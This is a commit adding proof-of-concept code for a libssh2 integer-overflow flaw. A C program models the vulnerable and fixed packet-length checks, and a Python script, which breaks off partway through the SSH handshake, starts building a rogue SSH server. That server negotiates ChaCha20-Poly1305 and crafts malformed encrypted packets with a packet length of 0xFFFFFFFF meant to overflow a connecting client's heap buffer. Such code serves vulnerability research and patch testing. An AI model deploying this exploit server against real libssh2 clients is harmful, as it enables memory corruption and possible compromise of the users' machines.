Upload files to "libssh2-cve-2026-55200-poc/poc"
This commit is contained in:
@@ -0,0 +1,358 @@
|
||||
#include <errno.h>
|
||||
#include <inttypes.h>
|
||||
#include <limits.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define LIBSSH2_PACKET_MAXPAYLOAD 35000u
|
||||
|
||||
enum {
|
||||
POC_OK = 0,
|
||||
POC_ERROR_DECRYPT = -1,
|
||||
POC_ERROR_OUT_OF_BOUNDARY = -2
|
||||
};
|
||||
|
||||
struct calc_result {
|
||||
uint32_t packet_length;
|
||||
uint32_t total32;
|
||||
uint64_t mathematical_total;
|
||||
size_t native_total;
|
||||
size_t allocation_length;
|
||||
int rc;
|
||||
};
|
||||
|
||||
static const char *rc_name(int rc)
|
||||
{
|
||||
switch(rc) {
|
||||
case POC_OK:
|
||||
return "accepted";
|
||||
case POC_ERROR_DECRYPT:
|
||||
return "rejected: packet_length < 1";
|
||||
case POC_ERROR_OUT_OF_BOUNDARY:
|
||||
return "rejected: out of boundary";
|
||||
default:
|
||||
return "rejected: unknown error";
|
||||
}
|
||||
}
|
||||
|
||||
static int parse_u32(const char *text, uint32_t *out)
|
||||
{
|
||||
char *end = NULL;
|
||||
unsigned long long parsed;
|
||||
|
||||
errno = 0;
|
||||
parsed = strtoull(text, &end, 0);
|
||||
if(errno || !end || *end != '\0' || parsed > UINT32_MAX) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
*out = (uint32_t)parsed;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void clear_result(struct calc_result *r, uint32_t packet_length,
|
||||
uint32_t mac_len, uint32_t auth_len)
|
||||
{
|
||||
memset(r, 0, sizeof(*r));
|
||||
r->packet_length = packet_length;
|
||||
r->mathematical_total = 4ull + packet_length + mac_len + auth_len;
|
||||
}
|
||||
|
||||
static int vulnerable32(uint32_t packet_length, uint32_t mac_len,
|
||||
uint32_t auth_len, struct calc_result *r)
|
||||
{
|
||||
uint32_t total = 4u;
|
||||
|
||||
clear_result(r, packet_length, mac_len, auth_len);
|
||||
|
||||
if(packet_length < 1u) {
|
||||
r->rc = POC_ERROR_DECRYPT;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
total += packet_length + mac_len + auth_len;
|
||||
r->total32 = total;
|
||||
|
||||
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
|
||||
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
r->allocation_length = (size_t)total;
|
||||
r->rc = POC_OK;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
static int fixed32(uint32_t packet_length, uint32_t mac_len,
|
||||
uint32_t auth_len, struct calc_result *r)
|
||||
{
|
||||
uint32_t total = 4u;
|
||||
|
||||
clear_result(r, packet_length, mac_len, auth_len);
|
||||
|
||||
if(packet_length < 1u) {
|
||||
r->rc = POC_ERROR_DECRYPT;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
if(packet_length > LIBSSH2_PACKET_MAXPAYLOAD) {
|
||||
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
total += packet_length + mac_len + auth_len;
|
||||
r->total32 = total;
|
||||
|
||||
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
|
||||
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
r->allocation_length = (size_t)total;
|
||||
r->rc = POC_OK;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
static int native_unpatched(uint32_t packet_length, uint32_t mac_len,
|
||||
uint32_t auth_len, struct calc_result *r)
|
||||
{
|
||||
size_t total = 4u;
|
||||
|
||||
clear_result(r, packet_length, mac_len, auth_len);
|
||||
|
||||
if(packet_length < 1u) {
|
||||
r->rc = POC_ERROR_DECRYPT;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
total += packet_length + mac_len + auth_len;
|
||||
r->native_total = total;
|
||||
|
||||
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
|
||||
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
r->allocation_length = total;
|
||||
r->rc = POC_OK;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
static int native_fixed(uint32_t packet_length, uint32_t mac_len,
|
||||
uint32_t auth_len, struct calc_result *r)
|
||||
{
|
||||
size_t total = 4u;
|
||||
|
||||
clear_result(r, packet_length, mac_len, auth_len);
|
||||
|
||||
if(packet_length < 1u) {
|
||||
r->rc = POC_ERROR_DECRYPT;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
if(packet_length > LIBSSH2_PACKET_MAXPAYLOAD) {
|
||||
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
total += packet_length + mac_len + auth_len;
|
||||
r->native_total = total;
|
||||
|
||||
if(total > LIBSSH2_PACKET_MAXPAYLOAD || total == 0u) {
|
||||
r->rc = POC_ERROR_OUT_OF_BOUNDARY;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
r->allocation_length = total;
|
||||
r->rc = POC_OK;
|
||||
return r->rc;
|
||||
}
|
||||
|
||||
static uint64_t fullpacket_style_length(uint32_t packet_length)
|
||||
{
|
||||
if(packet_length == 0u) {
|
||||
return 0u;
|
||||
}
|
||||
return (uint64_t)(packet_length - 1u);
|
||||
}
|
||||
|
||||
static int run_benign(uint32_t packet_length, uint32_t mac_len,
|
||||
uint32_t auth_len)
|
||||
{
|
||||
struct calc_result vulnerable;
|
||||
struct calc_result fixed;
|
||||
struct calc_result native;
|
||||
uint64_t copy_len;
|
||||
uint64_t gap = 0u;
|
||||
int pass;
|
||||
|
||||
vulnerable32(packet_length, mac_len, auth_len, &vulnerable);
|
||||
fixed32(packet_length, mac_len, auth_len, &fixed);
|
||||
native_unpatched(packet_length, mac_len, auth_len, &native);
|
||||
|
||||
copy_len = fullpacket_style_length(packet_length);
|
||||
if(vulnerable.rc == POC_OK && copy_len > vulnerable.allocation_length) {
|
||||
gap = copy_len - (uint64_t)vulnerable.allocation_length;
|
||||
}
|
||||
|
||||
pass = vulnerable.rc == POC_OK &&
|
||||
vulnerable.allocation_length == (size_t)(uint32_t)vulnerable.mathematical_total &&
|
||||
vulnerable.packet_length > LIBSSH2_PACKET_MAXPAYLOAD &&
|
||||
copy_len > vulnerable.allocation_length &&
|
||||
fixed.rc == POC_ERROR_OUT_OF_BOUNDARY;
|
||||
|
||||
printf("benign CVE-2026-55200 proof\n");
|
||||
printf("build_size_t_bytes=%zu\n", sizeof(size_t));
|
||||
printf("build_size_t_bits=%zu\n", sizeof(size_t) * (size_t)CHAR_BIT);
|
||||
printf("packet_length=0x%08" PRIx32 " (%" PRIu32 ")\n",
|
||||
packet_length, packet_length);
|
||||
printf("mac_len=%" PRIu32 "\n", mac_len);
|
||||
printf("auth_len=%" PRIu32 "\n", auth_len);
|
||||
printf("mathematical_total=%" PRIu64 "\n",
|
||||
vulnerable.mathematical_total);
|
||||
printf("vulnerable32_decision=%s\n", rc_name(vulnerable.rc));
|
||||
printf("vulnerable32_total=%" PRIu32 "\n", vulnerable.total32);
|
||||
printf("vulnerable32_allocation=%zu\n", vulnerable.allocation_length);
|
||||
printf("fullpacket_style_length=%" PRIu64 "\n", copy_len);
|
||||
printf("allocation_gap=%" PRIu64 "\n", gap);
|
||||
printf("fixed32_decision=%s\n", rc_name(fixed.rc));
|
||||
printf("native_unpatched_decision=%s\n", rc_name(native.rc));
|
||||
printf("native_unpatched_total=%zu\n", native.native_total);
|
||||
if(native.rc == POC_OK && sizeof(size_t) >= 8u) {
|
||||
printf("native_note=source-shaped integer expression wraps before assignment into 64-bit size_t\n");
|
||||
}
|
||||
else if(sizeof(size_t) >= 8u && native.rc == POC_ERROR_OUT_OF_BOUNDARY) {
|
||||
printf("native_note=64-bit native arithmetic rejects when each operand is widened before addition\n");
|
||||
}
|
||||
else if(sizeof(size_t) < 8u && native.rc == POC_OK) {
|
||||
printf("native_note=32-bit native arithmetic reaches the wrapped allocation state\n");
|
||||
}
|
||||
printf("result=%s\n", pass ? "PASS" : "FAIL");
|
||||
|
||||
return pass ? 0 : 1;
|
||||
}
|
||||
|
||||
static int run_native(uint32_t packet_length, uint32_t mac_len,
|
||||
uint32_t auth_len)
|
||||
{
|
||||
struct calc_result unpatched;
|
||||
struct calc_result fixed;
|
||||
|
||||
native_unpatched(packet_length, mac_len, auth_len, &unpatched);
|
||||
native_fixed(packet_length, mac_len, auth_len, &fixed);
|
||||
|
||||
printf("native-size_t check\n");
|
||||
printf("build_size_t_bytes=%zu\n", sizeof(size_t));
|
||||
printf("build_size_t_bits=%zu\n", sizeof(size_t) * (size_t)CHAR_BIT);
|
||||
printf("unpatched_decision=%s\n", rc_name(unpatched.rc));
|
||||
printf("unpatched_total=%zu\n", unpatched.native_total);
|
||||
printf("unpatched_allocation=%zu\n", unpatched.allocation_length);
|
||||
printf("fixed_decision=%s\n", rc_name(fixed.rc));
|
||||
printf("fixed_total=%zu\n", fixed.native_total);
|
||||
printf("fixed_allocation=%zu\n", fixed.allocation_length);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int run_check(uint32_t packet_length, uint32_t mac_len,
|
||||
uint32_t auth_len)
|
||||
{
|
||||
struct calc_result vulnerable;
|
||||
struct calc_result fixed;
|
||||
struct calc_result native;
|
||||
|
||||
vulnerable32(packet_length, mac_len, auth_len, &vulnerable);
|
||||
fixed32(packet_length, mac_len, auth_len, &fixed);
|
||||
native_unpatched(packet_length, mac_len, auth_len, &native);
|
||||
|
||||
printf("detailed CVE-2026-55200 arithmetic check\n");
|
||||
printf("build_size_t_bytes=%zu\n", sizeof(size_t));
|
||||
printf("build_size_t_bits=%zu\n", sizeof(size_t) * (size_t)CHAR_BIT);
|
||||
printf("packet_length=0x%08" PRIx32 " (%" PRIu32 ")\n",
|
||||
packet_length, packet_length);
|
||||
printf("mac_len=%" PRIu32 "\n", mac_len);
|
||||
printf("auth_len=%" PRIu32 "\n", auth_len);
|
||||
printf("mathematical_total=%" PRIu64 "\n",
|
||||
vulnerable.mathematical_total);
|
||||
printf("vulnerable32_total=%" PRIu32 "\n", vulnerable.total32);
|
||||
printf("vulnerable32_decision=%s\n", rc_name(vulnerable.rc));
|
||||
printf("vulnerable32_allocation=%zu\n", vulnerable.allocation_length);
|
||||
printf("fullpacket_style_length=%" PRIu64 "\n",
|
||||
fullpacket_style_length(packet_length));
|
||||
printf("fixed32_decision=%s\n", rc_name(fixed.rc));
|
||||
printf("native_unpatched_decision=%s\n", rc_name(native.rc));
|
||||
printf("native_unpatched_total=%zu\n", native.native_total);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void usage(const char *argv0)
|
||||
{
|
||||
printf("usage: %s [--benign|--check|--native] [options]\n", argv0);
|
||||
printf("default mode: --benign\n");
|
||||
printf("options:\n");
|
||||
printf(" --packet-length N default 0xffffffff\n");
|
||||
printf(" --mac-len N default 0\n");
|
||||
printf(" --auth-len N default 16\n");
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
enum {
|
||||
MODE_BENIGN,
|
||||
MODE_CHECK,
|
||||
MODE_NATIVE
|
||||
} mode = MODE_BENIGN;
|
||||
uint32_t packet_length = UINT32_MAX;
|
||||
uint32_t mac_len = 0u;
|
||||
uint32_t auth_len = 16u;
|
||||
int i;
|
||||
|
||||
for(i = 1; i < argc; i++) {
|
||||
if(strcmp(argv[i], "--benign") == 0) {
|
||||
mode = MODE_BENIGN;
|
||||
}
|
||||
else if(strcmp(argv[i], "--check") == 0) {
|
||||
mode = MODE_CHECK;
|
||||
}
|
||||
else if(strcmp(argv[i], "--native") == 0) {
|
||||
mode = MODE_NATIVE;
|
||||
}
|
||||
else if(strcmp(argv[i], "--packet-length") == 0 && i + 1 < argc) {
|
||||
if(parse_u32(argv[++i], &packet_length)) {
|
||||
fprintf(stderr, "invalid --packet-length value\n");
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
else if(strcmp(argv[i], "--mac-len") == 0 && i + 1 < argc) {
|
||||
if(parse_u32(argv[++i], &mac_len)) {
|
||||
fprintf(stderr, "invalid --mac-len value\n");
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
else if(strcmp(argv[i], "--auth-len") == 0 && i + 1 < argc) {
|
||||
if(parse_u32(argv[++i], &auth_len)) {
|
||||
fprintf(stderr, "invalid --auth-len value\n");
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
else if(strcmp(argv[i], "--help") == 0 || strcmp(argv[i], "-h") == 0) {
|
||||
usage(argv[0]);
|
||||
return 0;
|
||||
}
|
||||
else {
|
||||
usage(argv[0]);
|
||||
return 2;
|
||||
}
|
||||
}
|
||||
|
||||
if(mode == MODE_BENIGN) {
|
||||
return run_benign(packet_length, mac_len, auth_len);
|
||||
}
|
||||
|
||||
if(mode == MODE_NATIVE) {
|
||||
return run_native(packet_length, mac_len, auth_len);
|
||||
}
|
||||
|
||||
return run_check(packet_length, mac_len, auth_len);
|
||||
}
|
||||
@@ -0,0 +1,633 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import hashlib
|
||||
import os
|
||||
import queue
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
from dataclasses import dataclass
|
||||
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa, x25519
|
||||
|
||||
|
||||
HOST = ""
|
||||
PORT = 0
|
||||
|
||||
SERVER_IDENT = b"SSH-2.0-libpwn-cve-2026-55200"
|
||||
LIBSSH2_PACKET_MAXPAYLOAD = 35000
|
||||
DEFAULT_PACKET_LENGTH = 0xFFFFFFFF
|
||||
DEFAULT_AUTH_LEN = 16
|
||||
DEFAULT_MAC_LEN = 0
|
||||
CLIENT_IDENT = b"SSH-2.0-libpwn-local-libssh2-mock"
|
||||
|
||||
KEX_ALGORITHMS = [
|
||||
"curve25519-sha256",
|
||||
"curve25519-sha256@libssh.org",
|
||||
]
|
||||
HOSTKEY_ALGORITHMS = [
|
||||
"rsa-sha2-256",
|
||||
"ssh-rsa",
|
||||
]
|
||||
CIPHER_ALGORITHMS = [
|
||||
"chacha20-poly1305@openssh.com",
|
||||
]
|
||||
MAC_ALGORITHMS = [
|
||||
"hmac-sha2-256",
|
||||
"hmac-sha1",
|
||||
]
|
||||
COMP_ALGORITHMS = [
|
||||
"none",
|
||||
]
|
||||
|
||||
|
||||
def u32(value):
|
||||
return struct.pack(">I", value & 0xFFFFFFFF)
|
||||
|
||||
|
||||
def read_exact(sock, size):
|
||||
out = bytearray()
|
||||
while len(out) < size:
|
||||
chunk = sock.recv(size - len(out))
|
||||
if not chunk:
|
||||
raise EOFError("connection closed while reading")
|
||||
out += chunk
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def ssh_string(data):
|
||||
if isinstance(data, str):
|
||||
data = data.encode()
|
||||
return u32(len(data)) + data
|
||||
|
||||
|
||||
def ssh_name_list(items):
|
||||
return ssh_string(",".join(items).encode())
|
||||
|
||||
|
||||
def mpint_bytes(value):
|
||||
if value == 0:
|
||||
return b""
|
||||
raw = value.to_bytes((value.bit_length() + 7) // 8, "big")
|
||||
if raw[0] & 0x80:
|
||||
raw = b"\x00" + raw
|
||||
return raw
|
||||
|
||||
|
||||
def ssh_mpint(value):
|
||||
return ssh_string(mpint_bytes(value))
|
||||
|
||||
|
||||
def read_ssh_string(buf, offset):
|
||||
if offset + 4 > len(buf):
|
||||
raise ValueError("short SSH string length")
|
||||
size = struct.unpack(">I", buf[offset:offset + 4])[0]
|
||||
offset += 4
|
||||
if offset + size > len(buf):
|
||||
raise ValueError("short SSH string body")
|
||||
return buf[offset:offset + size], offset + size
|
||||
|
||||
|
||||
def split_namelist(raw):
|
||||
if not raw:
|
||||
return []
|
||||
return raw.decode(errors="strict").split(",")
|
||||
|
||||
|
||||
def first_match(client_items, server_items, label):
|
||||
for item in client_items:
|
||||
if item in server_items:
|
||||
return item
|
||||
raise RuntimeError(f"client did not offer required {label}; got {client_items!r}")
|
||||
|
||||
|
||||
def build_plain_packet(payload, block_size=8):
|
||||
padding_len = (-(len(payload) + 5)) % block_size
|
||||
if padding_len < 4:
|
||||
padding_len += block_size
|
||||
packet_length = len(payload) + 1 + padding_len
|
||||
return u32(packet_length) + bytes([padding_len]) + payload + os.urandom(padding_len)
|
||||
|
||||
|
||||
def parse_plain_packet(packet):
|
||||
if len(packet) < 5:
|
||||
raise ValueError("plain packet too short")
|
||||
packet_length = struct.unpack(">I", packet[:4])[0]
|
||||
padding_len = packet[4]
|
||||
if packet_length + 4 != len(packet):
|
||||
raise ValueError("packet length mismatch")
|
||||
if padding_len + 1 > packet_length:
|
||||
raise ValueError("invalid padding length")
|
||||
return packet[5:4 + packet_length - padding_len]
|
||||
|
||||
|
||||
def read_plain_packet(sock, max_packet=1024 * 1024):
|
||||
packet_length = struct.unpack(">I", read_exact(sock, 4))[0]
|
||||
if packet_length < 1 or packet_length > max_packet:
|
||||
raise ValueError(f"refusing plain packet_length={packet_length}")
|
||||
body = read_exact(sock, packet_length)
|
||||
return parse_plain_packet(u32(packet_length) + body)
|
||||
|
||||
|
||||
def send_plain_packet(sock, payload):
|
||||
sock.sendall(build_plain_packet(payload))
|
||||
|
||||
|
||||
def read_ident(sock):
|
||||
buf = bytearray()
|
||||
while True:
|
||||
ch = read_exact(sock, 1)
|
||||
if ch == b"\n":
|
||||
line = bytes(buf).rstrip(b"\r")
|
||||
if line.startswith(b"SSH-"):
|
||||
return line
|
||||
buf.clear()
|
||||
continue
|
||||
buf += ch
|
||||
if len(buf) > 4096:
|
||||
raise ValueError("SSH banner line too long")
|
||||
|
||||
|
||||
def build_kexinit_payload():
|
||||
payload = bytearray()
|
||||
payload.append(20)
|
||||
payload += os.urandom(16)
|
||||
payload += ssh_name_list(KEX_ALGORITHMS)
|
||||
payload += ssh_name_list(HOSTKEY_ALGORITHMS)
|
||||
payload += ssh_name_list(CIPHER_ALGORITHMS)
|
||||
payload += ssh_name_list(CIPHER_ALGORITHMS)
|
||||
payload += ssh_name_list(MAC_ALGORITHMS)
|
||||
payload += ssh_name_list(MAC_ALGORITHMS)
|
||||
payload += ssh_name_list(COMP_ALGORITHMS)
|
||||
payload += ssh_name_list(COMP_ALGORITHMS)
|
||||
payload += ssh_string(b"")
|
||||
payload += ssh_string(b"")
|
||||
payload += b"\x00"
|
||||
payload += u32(0)
|
||||
return bytes(payload)
|
||||
|
||||
|
||||
def parse_kexinit_payload(payload):
|
||||
if not payload or payload[0] != 20:
|
||||
raise ValueError("expected SSH_MSG_KEXINIT")
|
||||
offset = 17
|
||||
names = []
|
||||
for _ in range(10):
|
||||
raw, offset = read_ssh_string(payload, offset)
|
||||
names.append(split_namelist(raw))
|
||||
return {
|
||||
"kex": names[0],
|
||||
"hostkey": names[1],
|
||||
"c2s_cipher": names[2],
|
||||
"s2c_cipher": names[3],
|
||||
"c2s_mac": names[4],
|
||||
"s2c_mac": names[5],
|
||||
"c2s_comp": names[6],
|
||||
"s2c_comp": names[7],
|
||||
}
|
||||
|
||||
|
||||
def rsa_public_blob(private_key, algorithm):
|
||||
numbers = private_key.public_key().public_numbers()
|
||||
return (
|
||||
ssh_string(algorithm)
|
||||
+ ssh_string(mpint_bytes(numbers.e))
|
||||
+ ssh_string(mpint_bytes(numbers.n))
|
||||
)
|
||||
|
||||
|
||||
def sign_exchange_hash(private_key, hostkey_algorithm, exchange_hash):
|
||||
if hostkey_algorithm == "rsa-sha2-256":
|
||||
digest = hashes.SHA256()
|
||||
elif hostkey_algorithm == "ssh-rsa":
|
||||
digest = hashes.SHA1()
|
||||
else:
|
||||
raise ValueError(f"unsupported hostkey signature algorithm {hostkey_algorithm}")
|
||||
sig = private_key.sign(exchange_hash, padding.PKCS1v15(), digest)
|
||||
return ssh_string(hostkey_algorithm) + ssh_string(sig)
|
||||
|
||||
|
||||
def exchange_hash(client_ident, server_ident, client_kexinit, server_kexinit,
|
||||
hostkey_blob, client_pub, server_pub, shared_int):
|
||||
h = bytearray()
|
||||
h += ssh_string(client_ident)
|
||||
h += ssh_string(server_ident)
|
||||
h += ssh_string(client_kexinit)
|
||||
h += ssh_string(server_kexinit)
|
||||
h += ssh_string(hostkey_blob)
|
||||
h += ssh_string(client_pub)
|
||||
h += ssh_string(server_pub)
|
||||
h += ssh_mpint(shared_int)
|
||||
return hashlib.sha256(bytes(h)).digest()
|
||||
|
||||
|
||||
def derive_key(shared_int, exchange_hash_value, session_id, letter, length):
|
||||
seed = ssh_mpint(shared_int) + exchange_hash_value + letter + session_id
|
||||
out = hashlib.sha256(seed).digest()
|
||||
while len(out) < length:
|
||||
out += hashlib.sha256(ssh_mpint(shared_int) + exchange_hash_value + out).digest()
|
||||
return out[:length]
|
||||
|
||||
|
||||
def rotl32(value, shift):
|
||||
return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))
|
||||
|
||||
|
||||
def quarter_round(state, a, b, c, d):
|
||||
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
|
||||
state[d] = rotl32(state[d] ^ state[a], 16)
|
||||
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
|
||||
state[b] = rotl32(state[b] ^ state[c], 12)
|
||||
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
|
||||
state[d] = rotl32(state[d] ^ state[a], 8)
|
||||
state[c] = (state[c] + state[d]) & 0xFFFFFFFF
|
||||
state[b] = rotl32(state[b] ^ state[c], 7)
|
||||
|
||||
|
||||
def chacha20_block(key, counter, nonce8):
|
||||
constants = b"expand 32-byte k"
|
||||
state = [
|
||||
int.from_bytes(constants[i:i + 4], "little") for i in range(0, 16, 4)
|
||||
]
|
||||
state += [
|
||||
int.from_bytes(key[i:i + 4], "little") for i in range(0, 32, 4)
|
||||
]
|
||||
state += [
|
||||
counter & 0xFFFFFFFF,
|
||||
(counter >> 32) & 0xFFFFFFFF,
|
||||
int.from_bytes(nonce8[:4], "little"),
|
||||
int.from_bytes(nonce8[4:], "little"),
|
||||
]
|
||||
working = state[:]
|
||||
for _ in range(10):
|
||||
quarter_round(working, 0, 4, 8, 12)
|
||||
quarter_round(working, 1, 5, 9, 13)
|
||||
quarter_round(working, 2, 6, 10, 14)
|
||||
quarter_round(working, 3, 7, 11, 15)
|
||||
quarter_round(working, 0, 5, 10, 15)
|
||||
quarter_round(working, 1, 6, 11, 12)
|
||||
quarter_round(working, 2, 7, 8, 13)
|
||||
quarter_round(working, 3, 4, 9, 14)
|
||||
return b"".join(
|
||||
((working[i] + state[i]) & 0xFFFFFFFF).to_bytes(4, "little")
|
||||
for i in range(16)
|
||||
)
|
||||
|
||||
|
||||
def chacha20_xor(key, counter, nonce8, data):
|
||||
out = bytearray()
|
||||
block_counter = counter
|
||||
for offset in range(0, len(data), 64):
|
||||
stream = chacha20_block(key, block_counter, nonce8)
|
||||
chunk = data[offset:offset + 64]
|
||||
out += bytes(a ^ b for a, b in zip(chunk, stream))
|
||||
block_counter = (block_counter + 1) & 0xFFFFFFFFFFFFFFFF
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def poly1305_mac(message, key):
|
||||
r = int.from_bytes(key[:16], "little")
|
||||
r &= 0x0FFFFFFC0FFFFFFC0FFFFFFC0FFFFFFF
|
||||
s = int.from_bytes(key[16:], "little")
|
||||
p = (1 << 130) - 5
|
||||
acc = 0
|
||||
for offset in range(0, len(message), 16):
|
||||
block = message[offset:offset + 16]
|
||||
n = int.from_bytes(block + b"\x01", "little")
|
||||
acc = ((acc + n) * r) % p
|
||||
return ((acc + s) & ((1 << 128) - 1)).to_bytes(16, "little")
|
||||
|
||||
|
||||
def chachapoly_encrypt(key64, seqno, plaintext_without_tag):
|
||||
if len(key64) != 64:
|
||||
raise ValueError("chacha20-poly1305@openssh.com requires a 64-byte key")
|
||||
if len(plaintext_without_tag) < 4:
|
||||
raise ValueError("packet needs a 4-byte SSH packet_length")
|
||||
seq = seqno.to_bytes(8, "big")
|
||||
main_key = key64[:32]
|
||||
header_key = key64[32:]
|
||||
encrypted_len = chacha20_xor(header_key, 0, seq, plaintext_without_tag[:4])
|
||||
encrypted_body = chacha20_xor(main_key, 1, seq, plaintext_without_tag[4:])
|
||||
encrypted = encrypted_len + encrypted_body
|
||||
poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32]
|
||||
return encrypted + poly1305_mac(encrypted, poly_key)
|
||||
|
||||
|
||||
def chachapoly_decrypt(key64, seqno, encrypted_with_tag):
|
||||
if len(encrypted_with_tag) < 20:
|
||||
raise ValueError("encrypted packet too short")
|
||||
seq = seqno.to_bytes(8, "big")
|
||||
main_key = key64[:32]
|
||||
header_key = key64[32:]
|
||||
encrypted = encrypted_with_tag[:-16]
|
||||
tag = encrypted_with_tag[-16:]
|
||||
poly_key = chacha20_xor(main_key, 0, seq, b"\x00" * 64)[:32]
|
||||
expected = poly1305_mac(encrypted, poly_key)
|
||||
if expected != tag:
|
||||
raise ValueError("poly1305 tag mismatch")
|
||||
packet_len = chacha20_xor(header_key, 0, seq, encrypted[:4])
|
||||
body = chacha20_xor(main_key, 1, seq, encrypted[4:])
|
||||
return packet_len + body
|
||||
|
||||
|
||||
def build_malformed_plain(packet_length, body_len):
|
||||
if body_len < 1:
|
||||
raise ValueError("body_len must be at least 1 so padding_length exists")
|
||||
return u32(packet_length) + bytes([4]) + b"A" * (body_len - 1)
|
||||
|
||||
|
||||
def build_malformed_wire(key64, seqno, packet_length, body_len, filler_len):
|
||||
plain = build_malformed_plain(packet_length, body_len)
|
||||
return chachapoly_encrypt(key64, seqno, plain) + (b"B" * filler_len)
|
||||
|
||||
|
||||
@dataclass
|
||||
class ArithmeticResult:
|
||||
accepted: bool
|
||||
total32: int
|
||||
allocation: int
|
||||
fixed_rejects: bool
|
||||
fullpacket_copy_len: int
|
||||
gap: int
|
||||
|
||||
|
||||
def model_vulnerable_c_expression(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN):
|
||||
rhs32 = (packet_length + mac_len + auth_len) & 0xFFFFFFFF
|
||||
total32 = (4 + rhs32) & 0xFFFFFFFF
|
||||
accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD
|
||||
fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD
|
||||
copy_len = (packet_length - 1) & 0xFFFFFFFF
|
||||
gap = copy_len - total32 if accepted and copy_len > total32 else 0
|
||||
return ArithmeticResult(accepted, total32, total32 if accepted else 0,
|
||||
fixed_rejects, copy_len, gap)
|
||||
|
||||
|
||||
def model_vulnerable32(packet_length, mac_len=DEFAULT_MAC_LEN, auth_len=DEFAULT_AUTH_LEN):
|
||||
total32 = (4 + packet_length + mac_len + auth_len) & 0xFFFFFFFF
|
||||
accepted = packet_length >= 1 and 0 < total32 <= LIBSSH2_PACKET_MAXPAYLOAD
|
||||
fixed_rejects = packet_length > LIBSSH2_PACKET_MAXPAYLOAD
|
||||
copy_len = (packet_length - 1) & 0xFFFFFFFF
|
||||
gap = copy_len - total32 if accepted and copy_len > total32 else 0
|
||||
return ArithmeticResult(accepted, total32, total32 if accepted else 0,
|
||||
fixed_rejects, copy_len, gap)
|
||||
|
||||
|
||||
class MiniSSHExploitServer:
|
||||
def __init__(self, args):
|
||||
self.args = args
|
||||
self.host_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
|
||||
|
||||
def serve_once(self):
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
|
||||
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
listener.bind((self.args.listen_host, self.args.listen_port))
|
||||
listener.listen(1)
|
||||
actual_host, actual_port = listener.getsockname()
|
||||
print(f"[+] listening on {actual_host}:{actual_port}")
|
||||
conn, addr = listener.accept()
|
||||
with conn:
|
||||
conn.settimeout(self.args.timeout)
|
||||
print(f"[+] client connected from {addr[0]}:{addr[1]}")
|
||||
self.handle_client(conn)
|
||||
|
||||
def handle_client(self, conn):
|
||||
seq_out = 0
|
||||
seq_in = 0
|
||||
|
||||
conn.sendall(SERVER_IDENT + b"\r\n")
|
||||
client_ident = read_ident(conn)
|
||||
print(f"[+] client ident: {client_ident.decode(errors='replace')}")
|
||||
|
||||
client_kexinit = read_plain_packet(conn)
|
||||
seq_in += 1
|
||||
client_lists = parse_kexinit_payload(client_kexinit)
|
||||
|
||||
chosen_kex = first_match(client_lists["kex"], KEX_ALGORITHMS, "kex")
|
||||
chosen_hostkey = first_match(client_lists["hostkey"], HOSTKEY_ALGORITHMS, "hostkey")
|
||||
first_match(client_lists["s2c_cipher"], CIPHER_ALGORITHMS, "server-to-client cipher")
|
||||
first_match(client_lists["c2s_cipher"], CIPHER_ALGORITHMS, "client-to-server cipher")
|
||||
first_match(client_lists["s2c_mac"], MAC_ALGORITHMS, "server-to-client mac")
|
||||
first_match(client_lists["c2s_mac"], MAC_ALGORITHMS, "client-to-server mac")
|
||||
first_match(client_lists["s2c_comp"], COMP_ALGORITHMS, "server-to-client compression")
|
||||
first_match(client_lists["c2s_comp"], COMP_ALGORITHMS, "client-to-server compression")
|
||||
print(f"[+] negotiated {chosen_kex} / {chosen_hostkey} / chacha20-poly1305@openssh.com")
|
||||
|
||||
server_kexinit = build_kexinit_payload()
|
||||
send_plain_packet(conn, server_kexinit)
|
||||
seq_out += 1
|
||||
|
||||
